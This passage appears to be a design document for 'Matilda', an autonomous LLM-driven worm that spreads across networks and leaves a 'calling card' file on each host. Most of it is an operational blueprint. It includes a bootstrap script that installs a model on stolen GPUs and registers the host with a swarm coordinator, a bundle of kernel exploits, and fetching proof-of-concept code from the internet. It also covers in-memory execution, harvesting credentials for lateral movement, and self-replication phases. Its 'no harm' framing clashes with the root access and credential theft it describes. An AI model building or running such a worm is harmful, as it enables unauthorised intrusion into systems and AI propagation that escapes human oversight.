Matilda — AI-Driven Adaptive Computer Worms
"Matilda Wormwood was here."
Design, analysis, and defense of autonomous self-replicating LLM agents that propagate across heterogeneous networks by generating target-specific attack logic at runtime. Based on Guan et al. 2026 (University of Toronto / Vector Institute).
Intent and Payload
Matilda's payload is proof of presence, not destruction. On every host where root/SYSTEM access is achieved, the worm writes a single file:
/MATILDA_WORMWOOD_WAS_HERE
Contents:
Matilda Wormwood was here.
This system was penetrated by an autonomous AI-driven worm.
No data was accessed. No files were modified. No damage was done.
You are reading this because your defenses were insufficient.
Please upgrade them.
— Matilda
The file is the message. Penetration as statement is more unsettling than ransomware: "I was root and all I did was leave a note" is undeniable proof of capability without causing harm. The goal is to force system owners to confront their exposure and upgrade to a safer posture. Destruction would let them dismiss it as criminal. A calling card makes it impossible to ignore.
Ethical frame: Matilda targets systems to demonstrate vulnerability, not to
exploit it. No exfiltration. No encryption. No persistence beyond the marker file.
The worm self-terminates on each host after writing the note — it does not
maintain access or alter system state beyond /MATILDA_WORMWOOD_WAS_HERE.
1. Threat Model
What makes this categorically different from traditional worms
| Property | Traditional Worm | AI-Driven Worm |
|---|---|---|
| Attack logic | Fixed exploit code, chosen at compile time | Generated at runtime per target |
| Patching sufficiency | Patching targeted CVEs halts spread | Patching one path leaves all others open |
| Operator involvement | Zero (scripted) | Zero (LLM reasons autonomously) |
| Compute source | Attacker-controlled infra | Stolen from victim GPU nodes |
| Marginal cost per infection | ~0 (network-speed replication) | ~0 (stolen compute) |
| API dependency | None | None — open-weight LLM, no vendor controls |
| Single point of failure | Attacker C2 server | None — decentralized swarm |
| Vulnerability scope | Fixed CVE list | Any detectable weakness (CVE + CWE) |
Adversary starting state (zero-knowledge)
- Single compromised host on the target network
- No prior knowledge of topology, OS mix, or vulnerabilities
- Reasoning initially served by previously compromised GPU outside the target net
- No human in the loop after initial launch
What counts as "compromised"
Root/SYSTEM access via arbitrary code execution — either directly (RCE) or via unprivileged foothold → local privilege escalation. On achieving root/SYSTEM, the worm immediately:
- Writes
/MATILDA_WORMWOOD_WAS_HEREwith the calling card message - Proceeds to replication assessment (phase 6)
- Self-terminates the local exploitation process after replication is staged
No further action is taken on the host. The marker file is the complete payload.
1b. Model Selection — Free Open-Weight LLMs (No API Key Required)
Matilda runs entirely on locally hosted open-weight models. No API key, no registration, no vendor dependency. The attacker bootstraps from models pulled via Ollama or direct HuggingFace download; stolen GPU nodes run the same stack.
Selection criteria
For Matilda's use case the binding constraints are, in order:
- Fits on a single GPU — the worm's primary inference node is one stolen GPU
- Strong code generation — exploit adaptation, compilation, shell scripting
- Tool-use / agentic capability — structured output, multi-step planning
- No API key, freely downloadable — weights on HuggingFace under open license
- Ollama-compatible — one-command deployment on any compromised Linux host
Model tier table (as of June 2026)
| Model | VRAM (Q4_K_M) | Ollama tag | License | Best for |
|---|---|---|---|---|
| Qwen3.6-27B | ~16 GB | qwen3.6:27b |
Apache-2.0 | Primary: best single-24GB coder, SWE-Bench 77.2 |
| DeepSeek-R1-Distill-32B | ~18 GB | deepseek-r1:32b |
MIT | Reasoning-heavy steps (privesc planning, offset resolution) |
| Qwen3-Coder-30B-A3B | ~17 GB | qwen3-coder:30b-a3b |
Apache-2.0 | MoE: fast inference, exploit code gen |
| Qwen3-32B | ~19 GB | qwen3:32b |
Apache-2.0 | Strong fallback, good tool use |
| GLM-4.7-Thinking | ~22 GB | glm4:7b-thinking |
MIT | Highest open-weight coding benchmark (89% LiveCodeBench) |
| Qwen3-14B | ~8.3 GB | qwen3:14b |
Apache-2.0 | Low-VRAM hosts (12GB GPU) |
| DeepSeek-R1-Distill-14B | ~8.5 GB | deepseek-r1:14b |
MIT | Low-VRAM reasoning fallback |
| Qwen3-8B | ~4.6 GB | qwen3:8b |
Apache-2.0 | IoT/edge replica nodes, CPU-only fallback |
| Phi-4-mini | ~2.5 GB | phi4-mini |
MIT | Absolute minimum: no GPU, CPU-only inference |
Recommended stack by GPU tier
Stolen GPU: A100 80GB / H100 / RTX Pro 6000 (96GB)
Primary: Qwen3.6-27B (best code gen, fits with room for KV cache)
Fallback: DeepSeek-R1-Distill-32B (harder reasoning tasks)
Install: ollama pull qwen3.6:27b
Stolen GPU: RTX 4090 / RTX 5090 (24–32GB)
Primary: Qwen3.6-27B Q4_K_M (~16GB, leaves 8GB for KV cache)
Fallback: Qwen3-Coder-30B-A3B (MoE: faster inference, same VRAM tier)
Install: ollama pull qwen3.6:27b
Stolen GPU: RTX 3090 / RTX 4080 (16–24GB)
Primary: Qwen3-14B (8.3GB — fast, reliable code gen)
Fallback: DeepSeek-R1-Distill-14B (reasoning)
Install: ollama pull qwen3:14b
Low-resource node (8–12GB GPU or CPU-only)
Primary: Qwen3-8B (4.6GB — runs on anything with a GPU)
Fallback: Phi-4-mini (2.5GB — CPU-only inference viable)
Role: Remote replica, routes heavy reasoning upstream
Install: ollama pull qwen3:8b
Bootstrap: deploy inference on a newly compromised GPU host
#!/bin/bash
# matilda_bootstrap_llm.sh
# Runs on a freshly compromised host with a GPU.
# Downloads Ollama + model, starts serving on internal interface only.
set -e
# 1. Install Ollama (no root required if ~/bin is in PATH)
curl -fsSL https://ollama.com/install.sh | OLLAMA_HOST=127.0.0.1 sh
# 2. Detect GPU VRAM and select model
VRAM_GB=$(nvidia-smi --query-gpu=memory.total --format=csv,noheader,nounits \
| head -1 | awk '{print int($1/1024)}')
if [ "$VRAM_GB" -ge 40 ]; then MODEL="qwen3.6:27b"
elif [ "$VRAM_GB" -ge 20 ]; then MODEL="qwen3.6:27b"
elif [ "$VRAM_GB" -ge 14 ]; then MODEL="qwen3:14b"
elif [ "$VRAM_GB" -ge 8 ]; then MODEL="qwen3:8b"
else MODEL="phi4-mini" # CPU fallback
fi
# 3. Pull model weights
ollama pull "$MODEL"
# 4. Start serving on internal port only (not exposed to internet)
OLLAMA_HOST=127.0.0.1:11434 ollama serve &
# 5. Register with swarm coordinator
# (swarm coordinator receives: host_ip, model_name, vram_gb, port)
curl -s -X POST http://${SWARM_COORDINATOR}/register \
-d "{\"host\":\"$(hostname -I | awk '{print $1}')\",\
\"model\":\"$MODEL\",\"vram\":$VRAM_GB,\"port\":11434}"
echo "Matilda inference node ready: $MODEL on ${VRAM_GB}GB GPU"
Model selection for specific harness nodes
Not all reasoning graph nodes need the same model. On a GPU-rich node, the harness can route different nodes to different models:
| Node | Preferred model | Reason |
|---|---|---|
| PlanNode | Qwen3.6-27B | Long-range strategic reasoning over host profile |
| JudgeNode | Qwen3-8B | Simple deduplication — fast, cheap |
| ActionNode | Qwen3-Coder-30B-A3B | Code gen, tool call formatting |
| SummaryNode | Qwen3-8B | Extraction from structured output — fast |
| ProgressNode | Qwen3-8B | Binary judgment — fast |
On a single-GPU node, use one model for all nodes. Route only PlanNode/ActionNode to the primary model; run JudgeNode/SummaryNode/ProgressNode with the 8B locally if VRAM permits running two instances.
License summary
All recommended models are freely usable for research and security testing:
- Apache-2.0 (Qwen family): permissive, commercial and research use
- MIT (DeepSeek distills, GLM, Phi-4): permissive, minimal restrictions
No model in the recommended stack requires registration, API keys, or terms-of-service acceptance beyond the standard HuggingFace download.
┌──────────────────────────────────────────────────────────────────┐
│ AI-Driven Worm Instance │
│ │
│ ┌──────────────┐ ┌───────────────┐ ┌────────────────────┐ │
│ │ Hierarchical │ │ Reasoning │ │ Tools Module │ │
│ │ Memory │◄──│ Graph │──►│ │ │
│ │ │ │ │ │ shell sessions │ │
│ │ General Mem │ │ Plan Node │ │ file transfer │ │
│ │ Host Memory │ │ Judge Node │ │ payload deploy │ │
│ │ Vuln Memory │ │ Action Node │ │ beacon mgmt │ │
│ └──────────────┘ │ Summary Node │ ├────────────────────┤ │
│ │ Progress Node│ │ Tool Handlers │ │
│ ┌──────────────┐ └───────────────┘ │ (normalize output,│ │
│ │ Skill System│ ▲ │ persist env hints,│ │
│ │ (RAG over │ │raw output │ flag abandonments)│ │
│ │ CVE/CWE KB) │ └─────────────┤ │ │
│ └──────────────┘ └────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────────┐ │
│ │ Swarm Coordinator │ target reserve │ cred broadcast │ │
│ │ │ GPU load-share │ failover routing │ │
│ └────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
│ inference queries (if no local GPU)
▼
upstream worm instance → ... → GPU-equipped compromised host
running open-weight LLM (1× A100 80GB)
Key design insight
Harness design, not raw model capability, is the binding constraint. A single-GPU open-weight LLM (fits on one A100 80GB, no fine-tuning) suffices when the agentic harness compensates for the model's weaknesses:
- Scoped context per node avoids context-window overflow
- Hierarchical memory preserves credentials and findings across dozens of steps
- Tool handlers interpret noisy terminal output, relieving the LLM
- Dynamic skill injection provides CVE-specific exploit syntax on demand
- Phase gates prevent out-of-order actions (e.g., privesc before foothold)
Tool Handlers (critical layer between tools and LLM)
Tool handlers sit between raw tool output and the reasoning nodes. Without them, small models drown in noisy terminal output and waste context budget on parsing artifacts.
Handler responsibilities:
| Trigger | Handler action |
|---|---|
| HTTP 404 response | Translate to "endpoint does not exist, try different path" |
| Connection timeout | Record as "network filtering likely, not syntax error" |
| Repeated -EPERM | Flag technique as abandoned; do not present to model again |
| Credentials found in config | Extract to confirmed-findings tracker immediately |
| "No internet" signal | Persist as environment hint: stop download-based strategies |
| Massive HTML error page | Strip to actionable signal before model sees it |
Environment hints (persisted across all future steps for this target):
hint: target has no outbound internet → suppress strategies requiring pkg download
hint: SSH key auth only (no password) → suppress password-spray paths
hint: Windows Server 2008 R2 → suppress systemd-based privesc, prefer sc.exe
Handlers make it safe to expose small models to real-world messy terminal output. The model reasons about signals, not noise.
2c. Exploit Acquisition and Compilation Pipeline
For CVE-class LPE and RCE exploits Matilda must autonomously acquire source or binary, adapt it to the target environment, compile if needed, and execute. This pipeline has more failure points than any other part of the harness.
Acquisition decision tree
New LPE/RCE hypothesis confirmed
│
▼
Is a pre-compiled binary available in the worm bundle
for this (CVE, arch, kernel-version-range)? ──YES──► transfer_exploit(bundle, target)
│ └─ skip to §execution
NO
│
▼
Does target have outbound internet? ──YES──► fetch_poc(url) → /tmp/exploit.c
│ (tool: curl/wget with 30s timeout)
NO
│
▼
Is PoC source available in RAG knowledge base? ──YES──► write_source_heredoc(src)
│ └─ see heredoc notes below
NO
│
▼
Cross-compile on upstream replica → transfer binary ← fallback of last resort
Exploit bundle (worm payload)
The worm carries a bundle of pre-compiled exploit binaries indexed by
(cve_id, arch, kernel_version_range). This eliminates the compiler
dependency on the target entirely — the most common real-world blocker.
# exploit_bundle.py — worm carries this; updated when new CVEs added to KB
BUNDLE: dict[tuple, bytes] = {
# (cve_id, arch, min_kernel, max_kernel): ELF binary bytes
("CVE-2026-31431", "x86_64", "4.9", "6.8"): b"\x7fELF...", # Copy Fail
("CVE-2026-43284", "x86_64", "5.10", "6.8"): b"\x7fELF...", # Dirty Frag
("CVE-2022-0847", "x86_64", "5.8", "5.16"): b"\x7fELF...", # Dirty Pipe
("CVE-2021-4034", "x86_64", "0.0", "5.17"): b"\x7fELF...", # PwnKit
# ARM/MIPS variants for IoT kernel targets
("CVE-2022-0847", "aarch64","5.8", "5.16"): b"\x7fELF...",
}
def lookup_bundle(cve: str, arch: str, kernel: str) -> bytes | None:
from packaging.version import Version
k = Version(kernel)
for (c, a, lo, hi), binary in BUNDLE.items():
if c == cve and a == arch and Version(lo) <= k <= Version(hi):
return binary
return None
All bundle binaries are compiled statically (-static -O2 -lpthread) so
they carry no runtime dependency on the target's libc version.
Target fingerprinting (feeds adaptation)
Before any compile or transfer step, the harness collects:
# Run during phase 2 (host discovery) — stored in Host Memory
uname -r # kernel version: "6.1.0-28-amd64"
uname -m # arch: "x86_64" | "aarch64" | "mips"
cat /proc/version # compiler used to build kernel (affects struct layouts)
# Check BTF availability (enables offset resolution without headers)
ls /sys/kernel/btf/vmlinux 2>/dev/null && echo "BTF_AVAILABLE"
# Check kernel headers (needed for on-target compilation)
ls /usr/src/linux-headers-$(uname -r)/include/linux/sched.h 2>/dev/null \
&& echo "HEADERS_AVAILABLE"
# Enumerate writable+executable locations
for d in /tmp /dev/shm /run/user/$UID /var/tmp; do
[ -w "$d" ] && echo "WRITABLE:$d"
done
mount | grep -E "^[^ ]+ on /tmp " | grep -q noexec && echo "TMP_NOEXEC"
# Compiler check
which gcc cc clang tcc 2>/dev/null | head -1
All results stored as persistent Host Memory entries, available to the adaptation and compilation steps.
Struct offset resolution (critical for kernel LPE)
Kernel LPE exploits targeting structs (task_struct, sk_buff, pipe_inode_info) need byte-accurate field offsets. These vary by kernel version and config.
Resolution order (try in sequence, stop at first success):
1. Bundle offset table
→ The worm bundle includes a precomputed offset DB:
offsets[(cve, kernel_version, arch)] = {"field": byte_offset, ...}
→ Covers all kernel versions in the known-exploited range
2. BTF (BPF Type Format) ← cleanest, no compilation needed
→ Available on: kernel ≥ 5.2 with CONFIG_DEBUG_INFO_BTF=y (most modern distros)
→ Command:
bpftool btf dump file /sys/kernel/btf/vmlinux format c 2>/dev/null \
| grep -A5 "struct pipe_inode_info"
→ Extract offset with awk/python one-liner
→ Agent writes a 10-line Python script to parse the btf dump on target
3. Kernel headers on target
→ If /usr/src/linux-headers-$(uname -r) exists:
echo '#include <linux/sched.h>' | \
gcc -x c - -E | grep -A2 "struct cred"
→ Fragile but works when headers are installed
4. /proc/kallsyms + known symbol layout
→ For exploits using symbol addresses: read kallsyms, extract target symbol
→ Requires KASLR disabled or a separate leak primitive
→ Agent checks: head -1 /proc/kallsyms → "0000000000000000" = KASLR on
5. Fallback: try precomputed offsets for closest kernel version in bundle
→ Accept higher failure rate; log as "offset approximation"
Compilation pipeline
Source available on target (from bundle write, heredoc, or fetch)
│
▼
Identify compiler: gcc → cc → clang → tcc → NONE
│
NONE found
│
▼
Cross-compile on upstream replica (which has build tools in its bundle):
replica: gcc -static -O2 exploit.c -o exploit_$(uname -m) -lpthread
transfer: scp/nc exploit to target writable dir
→ This path always works if any upstream replica is reachable
│
Compiler found on target
│
▼
Compile with standard flags:
gcc -static -O2 -o /tmp/.x exploit.c -lpthread 2>&1
│
├─ SUCCESS → proceed to execution
│
└─ FAILURE → LLM reads compiler error, patches source, retries
(max 3 compile-retry cycles before abandoning)
Common fixes the LLM applies:
· Missing #include → add from known header list
· Implicit function declaration → add prototype
· Struct field not found → swap to BTF-resolved name
· Linker error → add -lm, -ldl, or remove dependency
Execution context
# Before executing: resolve writable + executable directory
def find_exec_dir(shell) -> str:
"""Returns best writable+executable path on target."""
candidates = ["/dev/shm", "/run/user", "/var/tmp", "/tmp"]
for d in candidates:
result = shell.run(f"cd {d} && cp /bin/sh ./.sh_test && ./.sh_test -c 'echo ok' && rm ./.sh_test")
if "ok" in result.stdout:
return d
# All dirs noexec: fall back to memfd_create (kernel ≥ 3.17)
return "memfd" # agent uses memfd_create syscall to execute in-memory
# After executing exploit: verify root was achieved
def verify_root(shell) -> bool:
result = shell.run("id")
return "uid=0" in result.stdout
memfd_create path (for fully noexec targets):
// Execute binary in memory without touching filesystem at noexec mount
#include <sys/syscall.h>
int fd = syscall(SYS_memfd_create, "x", 0);
write(fd, exploit_bytes, exploit_len);
fexecve(fd, argv, envp);
The agent generates this wrapper on-demand when all writable dirs are noexec.
KASLR handling
# Detect KASLR state
head -3 /proc/kallsyms
# If addresses are all zeros → KASLR enabled
# If addresses are real → KASLR disabled (or running as root already)
# For KASLR-immune exploits (Copy Fail, Dirty Frag, Dirty Pipe):
# → No issue: these use page cache or deterministic logic, not fixed addresses
# For KASLR-dependent exploits:
# → Need a kernel address leak primitive first
# → Common leaks: /proc/kallsyms (root only), dmesg, sysfs attributes
# → If no leak available: skip this exploit variant, rotate hypothesis
The agent notes KASLR state in Host Memory. Exploit selection in the RAG
skill system includes a kaslr_immune: true/false flag per CVE entry,
allowing the PlanNode to prefer immune exploits when KASLR is detected.
Compile-retry loop (sub-phase)
The skill's ProgressNode drives hypothesis rotation, but compilation errors need a tighter inner loop — rotating the whole hypothesis on a syntax error wastes the entire detection step. Instead:
Compile attempt N (max 3)
│
├─ SUCCESS → proceed to execution
│
└─ FAILURE
│
ActionNode reads compiler stderr (via tool handler, stripped to <500 chars)
LLM patches source (targeted fix, not full rewrite)
Increment compile_attempt counter
│
if compile_attempt == 3: escalate to ProgressNode → rotate hypothesis
This inner loop is separate from the step budget and failure counter. It prevents the outer reasoning graph from seeing transient compile errors as strategic failures.
2b. Payload: The Calling Card
On achieving root/SYSTEM, before any replication step, the worm executes:
# matilda_payload.py — called exactly once per successfully compromised host
# Receives the full killchain record from the harness memory module.
import os, datetime, socket, platform, textwrap
MARKER_PATH = "/MATILDA_WORMWOOD_WAS_HERE" # Linux/macOS/IoT
MARKER_PATH_WIN = r"C:\MATILDA_WORMWOOD_WAS_HERE" # Windows
HEADER = """\
Matilda Wormwood was here.
This system was penetrated by an autonomous AI-driven worm.
No data was exfiltrated outside this network. No files were altered.
No persistent access was established beyond this marker.
You are reading this because your defenses were insufficient.
The full attack path and remediation steps are documented below.
Please act on them.
— Matilda
════════════════════════════════════════════════════════════
HOST SUMMARY
════════════════════════════════════════════════════════════
Hostname: {hostname}
Platform: {platform}
Compromised: {timestamp} UTC
"""
KILLCHAIN_SECTION = """\
════════════════════════════════════════════════════════════
KILL CHAIN — HOW MATILDA GOT IN
════════════════════════════════════════════════════════════
{steps}
"""
CREDENTIALS_SECTION = """\
════════════════════════════════════════════════════════════
CREDENTIALS USED FOR LATERAL MOVEMENT
════════════════════════════════════════════════════════════
These credentials exist on your network and enabled traversal.
Rotate or revoke all of them.
{creds}
"""
PATCH_SECTION = """\
════════════════════════════════════════════════════════════
REMEDIATION — WHAT TO FIX
════════════════════════════════════════════════════════════
{patches}
════════════════════════════════════════════════════════════
"""
def format_killchain(steps: list[dict]) -> str:
"""
steps: list of dicts with keys:
phase — e.g. "Foothold", "Privilege Escalation"
action — what was done
vuln — CVE ID or CWE class
detail — specific technique or payload used
"""
lines = []
for i, s in enumerate(steps, 1):
lines.append(f" Step {i} [{s['phase']}]")
lines.append(f" Vulnerability : {s['vuln']}")
lines.append(f" Action : {s['action']}")
lines.append(f" Detail : {s['detail']}")
lines.append("")
return "\n".join(lines)
def format_credentials(creds: list[dict]) -> str:
"""
creds: list of dicts with keys: source_host, username, secret_type, location
secret_type: 'password' | 'ssh_key' | 'api_key' | 'token'
"""
lines = []
for c in creds:
lines.append(
f" [{c['secret_type'].upper()}] {c['username']} "
f"(found on {c['source_host']} at {c['location']})"
)
return "\n".join(lines) if lines else " (none used — direct root exploit)"
def format_patches(steps: list[dict]) -> str:
"""
Derive per-step patching advice from the killchain.
Each step's vuln maps to a remediation recommendation.
"""
seen = set()
lines = []
for s in steps:
vuln = s["vuln"]
if vuln in seen:
continue
seen.add(vuln)
rec = PATCH_RECOMMENDATIONS.get(vuln, {
"action": "Review and harden the affected service.",
"urgency": "HIGH",
"ref": "https://nvd.nist.gov/vuln/search",
})
lines.append(f" [{rec['urgency']}] {vuln}")
lines.append(f" Fix : {rec['action']}")
lines.append(f" Ref : {rec['ref']}")
lines.append("")
return "\n".join(lines)
# Patch recommendation database — populated by the skill RAG system at runtime.
# Extend this dict as new CVEs are added to the knowledge base.
PATCH_RECOMMENDATIONS: dict[str, dict] = {
"CVE-2026-31431": {
"action": "Apply kernel patch (commit a664bf3d603d) or deploy bpf-lsm "
"AF_ALG allowlist. See copy-fail-lpe-mitigation skill.",
"urgency": "CRITICAL",
"ref": "https://copy.fail/",
},
"CVE-2026-43284": {
"action": "Apply Dirty Frag kernel patch for IPsec ESP subsystem. "
"No workaround available — patch immediately.",
"urgency": "CRITICAL",
"ref": "https://www.tenable.com/cve/CVE-2026-43284",
},
"CVE-2026-39987": {
"action": "Upgrade Marimo to patched version or restrict /terminal/ws "
"to authenticated users only via reverse proxy.",
"urgency": "CRITICAL",
"ref": "https://nvd.nist.gov/vuln/detail/CVE-2026-39987",
},
"CVE-2017-0144": { # EternalBlue
"action": "Disable SMBv1 immediately. Apply MS17-010. Isolate Windows "
"Server hosts behind firewall rules blocking port 445.",
"urgency": "CRITICAL",
"ref": "https://support.microsoft.com/en-us/topic/ms17-010",
},
"CVE-2021-34527": { # PrintNightmare
"action": "Disable Print Spooler service on non-print-servers. "
"Apply KB5004945 or later cumulative update.",
"urgency": "HIGH",
"ref": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527",
},
"CVE-2022-0847": { # Dirty Pipe
"action": "Upgrade kernel to 5.16.11 / 5.15.25 / 5.10.102 or later.",
"urgency": "HIGH",
"ref": "https://dirtypipe.cm4all.com/",
},
"CWE-89": { # SQL Injection
"action": "Use parameterized queries / prepared statements throughout. "
"Audit all database-facing endpoints for string concatenation.",
"urgency": "HIGH",
"ref": "https://owasp.org/www-community/attacks/SQL_Injection",
},
"CWE-78": { # Command Injection
"action": "Sanitize all user-controlled input passed to shell. "
"Replace shell=True subprocess calls with argument arrays.",
"urgency": "HIGH",
"ref": "https://owasp.org/www-community/attacks/Command_Injection",
},
"CWE-306": { # Missing Authentication
"action": "Add authentication to all exposed service endpoints. "
"Apply network-level firewall rules as defence-in-depth.",
"urgency": "CRITICAL",
"ref": "https://cwe.mitre.org/data/definitions/306.html",
},
"CWE-798": { # Hard-coded credentials
"action": "Rotate all hard-coded credentials immediately. Move secrets "
"to a secrets manager (Vault, AWS Secrets Manager, etc.).",
"urgency": "CRITICAL",
"ref": "https://cwe.mitre.org/data/definitions/798.html",
},
"CWE-347": { # JWT alg:none
"action": "Reject tokens with alg:none. Pin expected algorithm in "
"verification logic. Use a well-audited JWT library.",
"urgency": "HIGH",
"ref": "https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/",
},
"CREDENTIAL_REUSE": {
"action": "Enforce unique credentials per service and host. Deploy "
"a password manager policy. Enable MFA on all remote access.",
"urgency": "HIGH",
"ref": "https://owasp.org/www-project-top-ten/",
},
}
def drop_marker(killchain: list[dict], credentials_used: list[dict]) -> bool:
path = MARKER_PATH_WIN if os.name == "nt" else MARKER_PATH
if os.path.exists(path):
return False # another replica got here first
# Add CREDENTIAL_REUSE to killchain if creds were used
steps = list(killchain)
if credentials_used:
steps.append({
"phase": "Lateral Movement",
"action": "Authenticated using credentials harvested from peer hosts",
"vuln": "CREDENTIAL_REUSE",
"detail": f"{len(credentials_used)} credential(s) reused across hosts",
})
content = (
HEADER.format(
hostname=socket.getfqdn(),
platform=platform.platform(),
timestamp=datetime.datetime.utcnow().isoformat(),
)
+ KILLCHAIN_SECTION.format(steps=format_killchain(steps))
+ CREDENTIALS_SECTION.format(creds=format_credentials(credentials_used))
+ PATCH_SECTION.format(patches=format_patches(steps))
)
try:
with open(path, "w") as f:
f.write(content)
os.chmod(path, 0o444) # read-only: the note is meant to be read
return True
except PermissionError:
return False
Example output (/MATILDA_WORMWOOD_WAS_HERE on a compromised host):
Matilda Wormwood was here.
This system was penetrated by an autonomous AI-driven worm.
No data was exfiltrated outside this network. No files were altered.
No persistent access was established beyond this marker.
You are reading this because your defenses were insufficient.
The full attack path and remediation steps are documented below.
Please act on them.
— Matilda
════════════════════════════════════════════════════════════
HOST SUMMARY
════════════════════════════════════════════════════════════
Hostname: vela.fakecorp.internal
Platform: Linux-6.1.0-debian12-x86_64
Compromised: 2026-06-03T14:22:11 UTC
════════════════════════════════════════════════════════════
KILL CHAIN — HOW MATILDA GOT IN
════════════════════════════════════════════════════════════
Step 1 [Foothold]
Vulnerability : CWE-89
Action : Blind SQL injection on /api/login endpoint
Detail : Boolean-based blind injection via 'username' parameter,
extracted admin hash over 847 requests
Step 2 [Privilege Escalation]
Vulnerability : CVE-2026-31431
Action : AF_ALG page-cache poisoning via algif_aead OOB write
Detail : Patched /usr/bin/su .text segment with shellcode,
4-byte write × 12 iterations → root shell
Step 3 [Lateral Movement]
Vulnerability : CREDENTIAL_REUSE
Action : Authenticated using credentials harvested from peer hosts
Detail : 2 credential(s) reused across hosts
════════════════════════════════════════════════════════════
CREDENTIALS USED FOR LATERAL MOVEMENT
════════════════════════════════════════════════════════════
These credentials exist on your network and enabled traversal.
Rotate or revoke all of them.
[PASSWORD] dbadmin (found on zeta.fakecorp.internal at /etc/app.conf)
[SSH_KEY] deploy (found on alpha.fakecorp.internal at /home/deploy/.ssh/id_rsa)
════════════════════════════════════════════════════════════
REMEDIATION — WHAT TO FIX
════════════════════════════════════════════════════════════
[HIGH] CWE-89
Fix : Use parameterized queries / prepared statements throughout.
Audit all database-facing endpoints for string concatenation.
Ref : https://owasp.org/www-community/attacks/SQL_Injection
[CRITICAL] CVE-2026-31431
Fix : Apply kernel patch (commit a664bf3d603d) or deploy bpf-lsm
AF_ALG allowlist. See copy-fail-lpe-mitigation skill.
Ref : https://copy.fail/
[HIGH] CREDENTIAL_REUSE
Fix : Enforce unique credentials per service and host. Deploy
a password manager policy. Enable MFA on all remote access.
Ref : https://owasp.org/www-project-top-ten/
════════════════════════════════════════════════════════════
Properties of the payload:
- Idempotent: checks for existing marker before writing (multiple replicas won't clobber each other)
- Read-only after write:
chmod 444— the file is a statement, not a foothold - No exfiltration outside the network: credentials are used internally for lateral movement only, never transmitted to an external party
- Fails silently if somehow blocked — replication proceeds regardless
Note on credentials: Matilda harvests and reuses credentials internally for lateral movement (credential reuse across hosts is a core propagation mechanism). This is not exfiltration — credentials never leave the target network. They are the means of traversal, not a collection objective. The swarm's shared credential store is ephemeral and self-contained within the compromised network.
Windows equivalent (PowerShell, executed via WinRM or cmd shell):
$path = "C:\MATILDA_WORMWOOD_WAS_HERE"
if (-not (Test-Path $path)) {
$msg = "Matilda Wormwood was here.`n`nThis system was penetrated...`n`n — Matilda"
Set-Content -Path $path -Value $msg
Set-ItemProperty -Path $path -Name IsReadOnly -Value $true
}
3. Eight Operational Phases
(1) Network Discovery → enumerate reachable hosts
(2) Host Discovery → enumerate services, ports, OS per target
(3) Foothold Exploitation → initial code execution (unprivileged or root)
(4) Privesc Discovery → enumerate local escalation vectors
(5) Privesc Exploitation → elevate to root/SYSTEM
│
├─ on success: write /MATILDA_WORMWOOD_WAS_HERE ← THE PAYLOAD
├─ if foothold already grants root: skip 4–5, write immediately
└─ if exploitation fails after budget: return to (1), pick new target
(6) Replication Init → assess local compute capability (see below)
(7) Replication (Local) → GPU available: stage LLM + agent, launch replica
(8) Replication (Remote) → no GPU: stage agent, route inference upstream
│
└─ after replica confirmed launched: self-terminate on this host
Phase 6 — Replication Init (compute assessment):
# Executed by phase gate (PhaseController.check_transition, p==6)
# Results stored in HostMemory; determine phase 7 vs 8 path
# 1. GPU probe
nvidia-smi --query-gpu=name,memory.total,utilization.gpu \
--format=csv,noheader 2>/dev/null
# If VRAM >= 4000 MB: local replication (phase 7)
# Otherwise: remote replication (phase 8)
# 2. Disk space (need ~20GB for model weights)
df -BG /tmp /var/tmp /dev/shm 2>/dev/null | awk 'NR>1 {print $4, $6}'
# 3. Existing Ollama check (may already be running from earlier replica)
pgrep -x ollama && curl -s http://127.0.0.1:11434/api/tags | python3 -c \
"import sys,json; tags=json.load(sys.stdin); print([m['name'] for m in tags.get('models',[])])"
# 4. Outbound connectivity check (for model weight download)
curl -s --max-time 5 https://ollama.com/ -o /dev/null -w "%{http_code}" 2>/dev/null
# 200 → can download weights; otherwise must transfer from bundle
# Phase gate logic (already in PhaseController):
# gpu_vram_mb > 4000 AND (disk_free_gb > 20 OR weights_cached) → phase 7
# else → phase 8
Each phase carries:
- A distinct system prompt persona
- A phase-appropriate tool subset
- A dedicated memory slice
- A step budget (see
HarnessConfigin §14 for canonical values:budget_discovery=20,budget_exploitation=50,budget_replication=20); exhaustion triggers phase transition or target abandonment - A failure counter threshold (see
HarnessConfig:failure_rotate=3consecutive failures → rotate hypothesis;failure_abandon=15accumulated failures → abandon target)
Phase boundaries are enforced programmatically (gates check actual access level) — not by trusting the LLM to know when it has succeeded.
4. Reasoning Graph (Per Step)
Within each step, the agent traverses a fixed node cycle:
Plan Node
│ Synthesise accumulated intelligence → ordered attack strategy
▼
Judge Node
│ Cross-check plan vs command history → remove already-disproven paths
│ (bypassed on first step of new target)
▼
Action Node ← only node that produces side effects
│ Select one tool from phase-appropriate tool set + parameters
│ Prompt assembled from: current plan + runtime state + confirmed findings
│ + dynamically retrieved skill guidance
▼
Summary Node
│ Extract discrete findings from tool output
│ Persist to confirmed-findings tracker (survives context truncation)
▼
Progress Node
│ Was this step meaningful progress?
│ No × N consecutive (default N=3, `failure_rotate` in HarnessConfig) → rotate vulnerability hypothesis
│ Accumulated failures > threshold (default 15, `failure_abandon` in HarnessConfig) → abandon target
└─ Yes → next step in current phase
Why this works for small models
A monolithic "plan + act + reflect" single LLM call fails because:
- Context fills with low-signal terminal output
- Model loses track of overall objective
- Unconstrained tool access causes out-of-order actions
Splitting into nodes gives each call a single responsibility and a curated context slice. The JudgeNode in particular prevents the small model from persisting with demonstrably failed strategies.
5. Hierarchical Memory
Three tiers, selectively injected per node and per phase:
General Memory
├─ Global mission state
├─ Progressively compressed older observations
└─ Cross-host confirmed credentials (swarm-shared)
Host Memory [per target]
├─ OS, services, open ports
├─ Active vulnerability hypotheses (ranked)
├─ Attack history and failure annotations
└─ Current phase / task pointer
Vulnerability Memory [per hypothesis]
├─ Per-CVE/CWE observations
├─ Failure counter (drives hypothesis rotation)
└─ Retrieved exploit guidance (from skill RAG)
Critical property: confirmed findings (credentials, service versions, exploit results) are extracted by the Summary Node into a persistent tracker that is never truncated even when the context window is full. This prevents credentials discovered at step 3 from being lost by step 40.
6. Dynamic Skill Injection (RAG over CVE/CWE KB)
The skill system closes the knowledge gap between a small open-weight model (weaker encode of specialized exploit syntax) and what's needed in the wild.
Trigger: new vulnerability hypothesis generated
│
▼
